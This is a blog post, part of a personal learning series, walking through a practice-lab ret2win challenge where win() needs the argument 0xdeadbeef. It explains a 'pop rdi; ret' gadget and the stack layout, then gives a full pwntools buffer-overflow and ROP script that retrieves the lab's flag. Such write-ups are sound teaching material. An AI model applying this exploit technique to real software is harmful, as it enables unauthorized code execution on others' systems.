- Published on
Pwn Learning Path #3: ret2win With One Argument
- Authors

- Name
- Muhammad Huzaifa
Returning directly to win() worked when the function had no arguments. The next lab changed the target to:
win(0xdeadbeef);
Controlling rip was no longer enough. I also needed to control rdi, the first integer-argument register in the System V AMD64 calling convention.
The gadget
The binary contains a deliberately simple gadget:
pop rdi
ret
Its behavior is two small steps:
pop rditakes the eight-byte value at[rsp], puts it inrdi, and advancesrspby eight.rettakes the next eight-byte value at[rsp], puts it inrip, and advancesrspagain.
This turns adjacent stack values into a tiny control-flow program.
Laying out the chain
The saved RIP offset remained 72 bytes. After that padding, the stack needed to contain:
pop rdi; ret
0xdeadbeef
win
Visually, the gadget consumes the chain like this:
saved RIP -> pop rdi; ret
[rsp] -> 0xdeadbeef (consumed by pop rdi)
[rsp + 8] -> win (consumed by ret)
Resolving the gadget with pwntools
Instead of copying a build-specific gadget address into the script, I used pwntools:
from pwn import *
elf = context.binary = ELF('./ret2win_arg', checksec=False)
rop = ROP(elf)
io = process(elf.path)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
payload = flat(
b'A' * 72,
pop_rdi,
0xdeadbeef,
elf.symbols['win'],
)
io.sendline(payload)
print(io.recvall().decode())
The successful result was:
local{ret2win_argument_control}
What changed from basic ret2win
The vulnerability and offset did not change. Only the required machine state changed:
basic ret2win: rip = win
one argument: rdi = 0xdeadbeef, then rip = win
That was my introduction to ROP as state preparation. A gadget is useful because of the precise state transition it performs before handing control to the next address.
Series navigation
← Part 2: basic ret2win · Part 4: ret2win with two arguments →